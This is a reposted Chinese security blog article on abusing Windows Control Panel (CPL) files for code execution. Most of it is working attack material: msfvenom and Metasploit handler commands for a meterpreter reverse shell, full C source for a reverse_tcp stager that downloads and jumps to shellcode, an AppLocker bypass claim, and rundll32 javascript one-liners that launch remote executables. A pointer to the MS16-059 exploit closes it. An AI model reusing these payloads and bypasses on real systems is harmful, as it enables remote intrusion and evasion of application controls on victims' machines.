<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/16042

            0x00 前言


            最近在研究Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)的過程中接觸到了cpl文件,于是對其做了進一步研究,發現了一些有趣的細節,分享給大家。

            0x01 簡介


            CPL文件,是Windows控制面板擴展項,CPL全拼為Control Panel Item
            在系統安裝目錄的system32下面有一系列.cpl文件,它們分別對應著控制面板中的項目
            CPL文件本質是Windows可執行性文件,但不屬于可以直接獨立運行的文件,通常由shell32.dll打開

            0x02 制作CPL文件


            1、文件特點

            本質上是DLL文件,但有如下特點:

            2、打開方式

            (1) 雙擊直接運行

            (2) cmd下輸入rundll32 shell32.dll,Control_RunDLL <文件名>

            (3) cmd下輸入control <文件名>

            注:
            cmd下rundll32 shell32.dll,Control_RunDLL <文件名>等同于cmd下control <文件名>
            control.exe實質調用了rundll32.exe,通過control.exe執行cpl文件的進程為rundll32.exe

            (4) 通過腳本調用
            a、vbs

            #!shell
            Dim obj
            Set obj = CreateObject("Shell.Application")
            obj.ControlPanelItem("test.cpl")
            

            b、js

            #!javascript
            var a = new ActiveXObject("Shell.Application");
            a.ControlPanelItem("c:\\test\\test.cpl");
            

            3、使用vc 6.0制作標準cpl模板

            由文件特點可知,cpl本質就是一個dll文件
            所以我們可以在vc下創建一個dll的工程,并定義導出函數為CPlApplet

            #!c
            LRESULT APIENTRY CPlApplet
            (
                HWND    aHwndCPL_in,    // Handle to Configuration Panel window.
                UINT    aUMsg_in,        // CPL message.
                LPARAM    aLParam1_in,    // First message parameter.
                LPARAM  aLParam2_in    // Second message parameter.
            ) 
            

            值得注意的是aUMsg_in里面定義了一些CPL相關的參數:

                               | Return            | Return
            CPL message        | if successfully   | if not successfully
            -------------------+-------------------+--------------------
            CPL_INIT           | nonzero           | zero
            CPL_GETCOUNT       | nonzero           | zero
            CPL_NEWINQUIRE     | zero              | nonzero
            CPL_SELECT         | zero              | nonzero
            CPL_DBLCLK         | zero              | nonzero
            CPL_STOP           | zero              | nonzero
            CPL_EXIT           | zero              | nonzero
            

            圖表來自http://www.codeproject.com/Articles/3026/Creating-a-Config-Panel-Applet

            CPL_INIT:
            進行全局初始化

            CPL_GETCOUNT:
            檢索應用程序支持的對話框的數目
            返回值:支持的對話框數目

            CPL_NEWINQUIRE:
            請求該應用程序支持的對話框的請求信息

            CPL_SELECT:
            設置當用戶選擇一個對話框時顯示的圖標

            CPL_DBLCLK:
            設置當用戶雙擊一個對話框時顯示的圖標

            CPL_STOP:
            控制面板關閉時向每個對話框發出的消息

            CPL_EXIT:
            釋放內存,退出

            以上僅對相關函數作簡要介紹,詳細說明可查msdn,提供一個可供參考的工程模板:
            http://www.vbforums.com/attachment.php?s=7ebc3a64c985f675615a3e9d0aa350e8&attachmentid=286&d=981822351

            注:
            函數注釋的語言為斯洛文尼亞語,但不影響我們的程序開發
            模板下載后可直接編譯出一個cpl文件,雙擊正常執行

            4、簡單粗暴的方式制作cpl文件

            新建一個標準dll工程,在DLL_PROCESS_ATTACH中添加payload 相關代碼之下:

            #!c
            #include "Windows.h"
            BOOL APIENTRY DllMain( HANDLE hModule, 
                                   DWORD  ul_reason_for_call, 
                                   LPVOID lpReserved
                                 )
            {
                switch (ul_reason_for_call)
                {
                    case DLL_PROCESS_ATTACH:
                        WinExec("cmd", SW_SHOW);
                    case DLL_THREAD_ATTACH:
                    case DLL_THREAD_DETACH:
                    case DLL_PROCESS_DETACH:
                        break;
                }
                return TRUE;
            }
            

            編譯后生成的dll文件后綴名改為cpl即可

            如圖

            Alt text

            點擊后彈出cmd,但是退出后會彈框提示程序兼容性問題
            如果是管理員權限的cmd,運行的程序結束后就不會彈框
            (此問題的解決方法放在后面介紹)

            0x03 測試


            由以上內容可推斷只要將payload寫在DllMain()函數中,就可以直接修改dll后綴名為cpl,然后通過雙擊來運行
            所以自然而然的想到了測試一下meterpreter是否支持這種方式

            生成test.cpl:

            #!shell
            msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.127.132 lport=8888 -f dll -o test.cpl
            

            msf:

            #!shell
            use exploit/multi/handler
            set payload windows/meterpreter/reverse_tcp
            set LHOST 192.168.127.132
            set LPORT 8888
            exploit
            

            雙擊test.cpl后彈回meterpreter shell
            但是同樣在退出的時候會彈框提示程序兼容性助手

            0x04 解決問題


            1、正常dll執行后彈框

            經過測試發現,原有是因為vc6.0的版本低導致的程序兼容問題
            所以換在vs2008(或者更新的版本)下開發就不會存在這個問題

            如圖

            Alt text

            2、解決meterpreter彈框的問題

            這里不深入探究msfvenom的生成方式,解決方法為使用c++程序自己編寫一個meterpreter的reverse_tcp版本
            關鍵代碼:

            #!c
            #include "Windows.h"
            #include <WinSock2.h>
            #include <stdio.h>  
            
            #pragma comment(lib,"WS2_32.lib")   
            
            int reverse_tcp()
            {
                WSADATA wsData;
                    if(WSAStartup(MAKEWORD(2,2),&wsData))
                    {
                        printf("WSAStartp fail.\n");
                        return 0;
                    } 
            
                    SOCKET sock = WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
                    SOCKADDR_IN server;
                    ZeroMemory(&server,sizeof(SOCKADDR_IN));
                    server.sin_family = AF_INET;
                    server.sin_addr.s_addr = inet_addr("192.168.127.132"); //server ip
                    server.sin_port = htons(8888); //server port
                    if(SOCKET_ERROR == connect(sock,(SOCKADDR*)&server,sizeof(server)))
                    {
                        printf("connect to server fail.\n");
                        closesocket(sock);
                        WSACleanup();
                        return 0;
                    } 
            
                    u_int payloadLen;
                    if (recv(sock,(char*)&payloadLen,sizeof(payloadLen),0) != sizeof(payloadLen))
                    {
                        printf("recv error\n");
                        closesocket(sock);
                        WSACleanup();
                        return 0;
                    } 
            
                    char* orig_buffer = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
                    char* buffer = orig_buffer;
                    int ret = 0;
                    do 
                    {
                        ret = recv(sock,buffer,payloadLen,0);
                        buffer += ret;
                        payloadLen -= ret;
                    } while (ret > 0 && payloadLen > 0);  
            
            
                    __asm
                    {
                        mov edi,sock;   
                        jmp orig_buffer; 
                    } 
            
                    VirtualFree(orig_buffer,0,MEM_RELEASE);   
            
            
            }   
            
            BOOL APIENTRY DllMain( HMODULE hModule,
                                  DWORD  ul_reason_for_call,
                                  LPVOID lpReserved
                                  )
            {
                switch (ul_reason_for_call)
                {
                case DLL_PROCESS_ATTACH:
                    reverse_tcp();
                case DLL_THREAD_ATTACH:
                case DLL_THREAD_DETACH:
                case DLL_PROCESS_DETACH:
                    break;
                }
                return TRUE;
            }
            

            生成dll文件,后綴名改為cpl
            正常運行,正常退出

            0x05 Bypass Windows AppLocker


            之前介紹過《Bypass Windows AppLocker》
            開啟默認規則后會攔截exe和腳本的執行,那么cpl文件呢?
            當然可以繞過 Windows AppLocker的限制規則

            如圖

            Alt text

            0x06 rundll32


            補充一些rundll32調用js代碼的細節;

            執行遠程exe,會彈框攔截:

            #!javascript
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("\\\\127.0.0.1\\c$\\test\\test.exe")
            

            如圖

            Alt text

            解決方法:

            #!javascript
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\\\127.0.0.1\\c$\\test\\test.exe")
            

            如圖 Alt text

            執行本地cpl文件,會彈框提示無法識別文件后綴名:

            #!javascript
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("c:\\test\\cpl.cpl")
            

            如圖

            Alt text

            解決方法:

            #!javascript
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c c:\\test\\cpl.cpl",0,true)
            

            遺留問題:

            1、無法調用Shell.Application直接執行cpl文件:

            #!javascript
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new20%ActiveXObject("Shell.Application").ControlPanelItem("c:\\test\\cpl.cpl")
            

            2、無法遠程調用cpl文件

            無法識別文件后綴:

            #!javascript
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\\\127.0.0.1\\c$\\test\\cpl.cpl")
            

            彈框攔截遠程文件:

            #!javascript
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("cmd /c \\\\127.0.0.1\\c$\\test\\cpl.cpl")
            

            and

            #!javascript
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c \\\\127.0.0.1\\c$\\test\\cpl.cpl",0,true)
            

            如果你有解決辦法或是更好的思路,希望能夠分享,不勝感激。

            0x07 Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)


            下載鏈接:https://www.exploit-db.com/exploits/39805/

            將定制的快捷方式放于任意路徑,本地或是遠程,當用戶訪問此目錄的時候,就會執行payload
            演示的遠程路徑為: \\127.0.0.1\c$\test\poc(正常情況下訪問此目錄也會當作遠程目錄被沙盒攔截)

            poc演示如圖,訪問遠程目錄 \\127.0.0.1\c$\test\poc并繞過沙盒攔截,成功執行payload

            Alt text

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线